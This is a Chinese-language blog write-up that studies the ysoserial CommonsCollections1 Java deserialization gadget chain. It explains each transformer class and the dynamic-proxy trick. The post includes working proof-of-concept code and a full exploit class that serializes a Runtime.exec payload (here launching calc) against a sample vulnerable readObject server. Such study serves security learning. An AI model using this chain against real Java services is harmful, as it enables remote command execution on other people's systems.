ysoserial学习与实践（二）

调用链分析

调用链分析

上篇介绍过了Apache Commons Collections，仅与此相关的调用链，ysoserial就分了7组（其实还有8、9、10）。

avatar

慢慢分析，分析多少算多少。

Commons Collections 1

代码不长，并且注释里给了调用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
  Gadget chain:
    ObjectInputStream.readObject()
      AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
          AnnotationInvocationHandler.invoke()
            LazyMap.get()
              ChainedTransformer.transform()
                ConstantTransformer.transform()
                InvokerTransformer.transform()
                  Method.invoke()
                    Class.getMethod()
                InvokerTransformer.transform()
                  Method.invoke()
                    Runtime.getRuntime()
                InvokerTransformer.transform()
                  Method.invoke()
                    Runtime.exec()
	Requires:
		commons-collections
 */
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

    public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return handler;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections1.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

首先应该知道Java的反射机制，即在运行状态中：

对于任意一个类，都能够判断一个对象所属的类；

对于任意一个类，都能够知道这个类的所有属性和方法；

对于任意一个对象，都能够调用它的任意一个方法和属性。

这种动态获取的信息以及动态调用对象的方法的功能，称为Java语言的反射机制。

基于这个机制，Apache Commons Collections中有个特殊的接口，实现此接口的InvokerTransformer类可以通过调用Java的反射机制来调用任意函数。

了解之后回去捋链，最后的Runtime.exec()用于执行外部（恶意）命令，为了实现这个目的，需要寻找一个对象，能够存储并在特定情况下执行。

InvokerTransformer

跟进，看代码：org/apache/commons/collections/functors/InvokerTransformer.java (105-134行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
            
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

没有问题，确实看到调用反射。iMethodName、iParamTypes、iArgs传参都可控，试试写个demo弹计算器：

1
2
3
4
5
6
7
8
9
10
11
12
package ysoserial.test;

import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformertest {
    public static void main(String[] args) {
        InvokerTransformer InvokerTransformer = new InvokerTransformer("exec",
            new Class[] { String.class }, new Object[]{new String("calc")});
        InvokerTransformer.transform(Runtime.getRuntime());
    }
}

avatar

ChainedTransformer

跟进ChainedTransformer接口，org/apache/commons/collections/functors/ChainedTransformer.java（109-125行）

1
2
3
4
5
6
7
8
9
10
11
12
public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

定义Transformer数组对象，iTransformers传入transform方法遍历(这就为exp提供了多次调用的可能)。

审计CommonsCollections1中遍历了哪些操作：

avatar

avatar

实例化另一个ConstantTransformer类(序列化和Transformer两个方法)，可以看到，这个类在之后实例化了Runtime.class类以执行系统命令。

尝试对此类写POC验证命令调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ChainedTransformertest {
    public static void main(String[] args) {
        Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, new Object[]{"calc"})});

        transformerChain.transform(1);

    }
}

avatar

LazyMap

主要关注：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class LazyMap extends AbstractMapDecorator implements Map, Serializable;
//构造方法
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = factory;
    }
}
//get方法
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

LazyMap继承了AbstractMapDecorator类，调用Map和序列化接口。get方法会返回传入key值的value值，如果没有这个值则调用本类中factory.transform为此key创建值。

factory则来自Transformer接口类：

1
2
//LazyMap中
protected final Transformer factory;

传入时必须要具体实例化，并且具体使用该接口的哪一个子类来实例化对象，这是可控的。

前面分析了ChainedTransformer这个类可以触发RCE，并且这个类实现了Transformer，接上这条链。

AnnotationInvocationHandler

一开始并没有找到，网上查资料了解其在jdk/jre/lib/rt.jar中。

————————————分割线————————————

等一下再继续走，解决一下前面捋下来的一些问题，回过头去详细分析一下ChainedTransformer弹计算器的POC逻辑：

1、构造一个ConstantTransformer，把Runtime的Class对象传入，当transform()时，始终返回此对象；

2、构造一个InvokerTransformer，待调用方法名为getMethod，参数为getRuntime，当transform()时，传入1、的结果，此时的input应该是java.lang.Runtime。
审计InvokerTransfoemer但经过getclass()之后，cls为java.lang.Class，之后getMethod()只能获取java.lang.Class的方法。
因此才会定义待调用方法名为getMethod，其参数为getRuntime，invoke()调用此方法，最终得到的是getRuntime方法的Method对象；

3、构造一个InvokerTransformer，待调用方法名为invoke，参数空，当transform()时，传入2、的结果。
同理，cls将是java.lang.reflect.Method，再获取并调用其invoke()方法————实则调用上面的getRuntime()，得到Runtime对象；

4、构造一个InvokerTransformer，待调用方法名为exec，参数为calc（命令字符串），当transform()时，传入3、的结果，获取java.lang.Runtime的exec方法，传参调用；

5、将2、3、4组装成数组，放入ChainedTransformer中，transform()时，将前一个元素的返回结果作为后一个元素的参数，实现该过程。

问题1

看上去此过程的2、3、步有点绕，是否可以用下面的逻辑更清晰地构造呢？

1
2
3
4
5
6
Transformer[] trans = new Transformer[] {
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("getRuntime", new Class[0], new Object[0]),
    new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {cmd})
};

这样似乎逻辑是通的，把2、3、步合并成一步，但是这样的执行是无法成功的，原因：Runtime.getRuntime()得到为一个对象，此对象也必须参与序列化过程，但Runtime本身没有Serializable接口，所以会导致序列化失败。

因此必须用InvokerTransformer逐步进行。

问题2

ysoserial的Payload是先定义好一个，包含“无效”Transformer的ChainedTransformer，等所有对象（数组中）装填完毕后再利用反射，将此数组放进去，这样做的原因是什么？

作者在一个Issue中给出解释：

Generally any reflection at the end of gadget-chain set up is done to “arm” the chain because constructing it while armed can result in premature “detonation” during set-up and cause it to be inert when serialized and deserialized by the target application.

大概就是说数据装填期间，这个链可能会被提前反序列化，或者最后处于非正常的状态，所以先把这个链的“形式”摆好，然后等后面数组做好之后利用反射顶进去。

————————————分割线————————————

继续捋链，ChainedTransformer之前已经清楚了。

之后，只需要稳定执行其transform()，LazyMap类和TransformedMap类均可以实现，因为ysoserial用的是LazyMap，所以对它进行分析。

LazyMap（装饰器）的decorate方法传入Map接口类的map和Transformer接口类的factory，get方法返回后者的value，当后者的键不存在时，调用Transformer的transform()创建。

transform运行的问题解决了，那么现在需要思考如何能够自动调用此get()方法。前面说了AnnotationInvocationHandler类在rt.jar下，Gadgets中进一步指明了其路径：

avatar

avatar

其关键部分：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
AnnotationInvocationHandler(Class<? extends Annotation> paramClass, Map<String, Object> paramMap) {
  Class[] arrayOfClass = paramClass.getInterfaces();
  if (!paramClass.isAnnotation() || arrayOfClass.length != 1 || arrayOfClass[0] != Annotation.class)
    throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); 
  this.type = paramClass;
  this.memberValues = paramMap;
}
  
public Object invoke(Object paramObject, Method paramMethod, Object[] paramArrayOfObject) {
  String str = paramMethod.getName();
  Class[] arrayOfClass = paramMethod.getParameterTypes();
  if (str.equals("equals") && arrayOfClass.length == 1 && arrayOfClass[0] == Object.class)
    return equalsImpl(paramArrayOfObject[0]); 
  if (arrayOfClass.length != 0)
    throw new AssertionError("Too many parameters for an annotation method"); 
  switch (str) {
    case "toString":
      return toStringImpl();
    case "hashCode":
      return Integer.valueOf(hashCodeImpl());
    case "annotationType":
      return this.type;
  } 
  Object object = this.memberValues.get(str);
  if (object == null)
    throw new IncompleteAnnotationException(this.type, str); 
  if (object instanceof ExceptionProxy)
    throw ((ExceptionProxy)object).generateException(); 
  if (object.getClass().isArray() && Array.getLength(object) != 0)
    object = cloneArray(object); 
  return object;
}

private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {
  ObjectInputStream.GetField getField = paramObjectInputStream.readFields();
  Class<? extends Annotation> clazz = (Class)getField.get("type", (Object)null);
  Map map = (Map)getField.get("memberValues", (Object)null);
  AnnotationType annotationType = null;
  try {
    annotationType = AnnotationType.getInstance(clazz);
  } catch (IllegalArgumentException illegalArgumentException) {
    throw new InvalidObjectException("Non-annotation type in annotation serial stream");
  } 
  Map<String, Class<?>> map1 = annotationType.memberTypes();
  LinkedHashMap<Object, Object> linkedHashMap = new LinkedHashMap<>();
  for (Map.Entry entry : map.entrySet()) {
    String str = (String)entry.getKey();
    Object object = null;
    Class clazz1 = map1.get(str);
    if (clazz1 != null) {
      object = entry.getValue();
      if (!clazz1.isInstance(object) && !(object instanceof ExceptionProxy))
        object = (new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember(annotationType
          .members().get(str)); 
    } 
    linkedHashMap.put(str, object);
  } 
  UnsafeAccessor.setType(this, clazz);
  UnsafeAccessor.setMemberValues(this, (Map)linkedHashMap);
}

看不明白也没事，先看看ysoserial里是怎么打的：

1
2
3
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

发现依次调用Gadgets的createMemoitizedProxy和createMemoizedInvocationHandler：

1
2
3
4
5
6
7
8
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
    return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
    return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}

先看后面，createMemoizedInvocationHandler()调用了AnnotationInvocationHandler的newInstance方法，将mapProxy置为其memberValues属性。

avatar

而mapProxy则是由createMemoitizedProxy()创建的一个动态代理，此动态代理又是一个AnnotationInvocationHandler对象。

根据调用链，审计AnnotationInvocationHandler.readObject()的逻辑，果然在map.entrySet()处发现了修改值的功能，此功能调用了前面invoke()，而此函数恰好存在对于其memberValues属性的get函数使用，即可以调用LazyMap的get方法。至此，整个链打通。

写最后的POC之前还是解答一个可能的问题。

问题3

ysoserial以这种Java动态代理的方式请求invoke()的原因是什么，为什么不直接想办法调用invoke()呢？

它确实也想，但是invoke()对方法名做了很复杂的要求：

avatar

因此ysoserial以Java动态代理的方式处理LazyMap，使readObject()在调用entrySet()时代理进入AnnotationInvocationHandler.invoke()，且正好方法名entrySet顺利跳过这几个判断条件，最终实现我们的目的。

注意createMemoitizedProxy方法，也就是下面这行语句返回的值是evilMap。

1
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

则有POC：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1POC {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
        final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

        final Map testMap = new HashMap();

        Map evilMap = (Map) Proxy.newProxyInstance(
            testMap.getClass().getClassLoader(),
            testMap.getClass().getInterfaces(),
            secondInvocationHandler
        );
// 创建完动态代理后，直接调用evilMap.entrySet()就会弹出计算器
        evilMap.entrySet();
    }
}

avatar

调用链的最终目标为ObjectInputStream.readObject()，真实的反序列化场景则类似于：

服务端：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package CommonsCollections1;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.Runtime;

//jdk<=8u71
//
public class readObj {
    public static void main(String[] args) throws IOException {
        FileInputStream fi = new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser");
        ObjectInputStream  obj_in = new ObjectInputStream(fi);
        try {
            obj_in.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package CommonsCollections1;
import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.Runtime;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;

public class exp {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
      final Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                        ),//拿到getruntime方法
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),//拿到runtime类
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc.exe"})//rce
      };

      final Transformer chained = new ChainedTransformer(trans);
      final Map innerMap = new HashMap();
      final Map outMap = LazyMap.decorate(innerMap,chained);

      final Constructor<?> han_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
      han_con.setAccessible(true);
      InvocationHandler han = (InvocationHandler) han_con.newInstance(Override.class,outMap);

      final Map mapProxy = (Map)Proxy.newProxyInstance(exp.class.getClassLoader(),outMap.getClass().getInterfaces(),han);


      final Constructor<?> out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
      out_con.setAccessible(true);
      InvocationHandler out =(InvocationHandler) out_con.newInstance(Override.class,mapProxy);

      FileOutputStream fo = new FileOutputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser"));
      ObjectOutputStream obj = new ObjectOutputStream(fo);
      obj.writeObject(out);
      obj.close();
    }
}

赏

谢谢你请我吃糖果

支付宝
微信

扫一扫，分享到微信

微信分享二维码

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

西安电子科技大学<br><br>2017届网络安全实验班毕业<br><br>2021年入职华为<br><br>ID：冰皇<br><br>职业：蓝军渗透测试工程师<br><br>目标：挖到超级大洞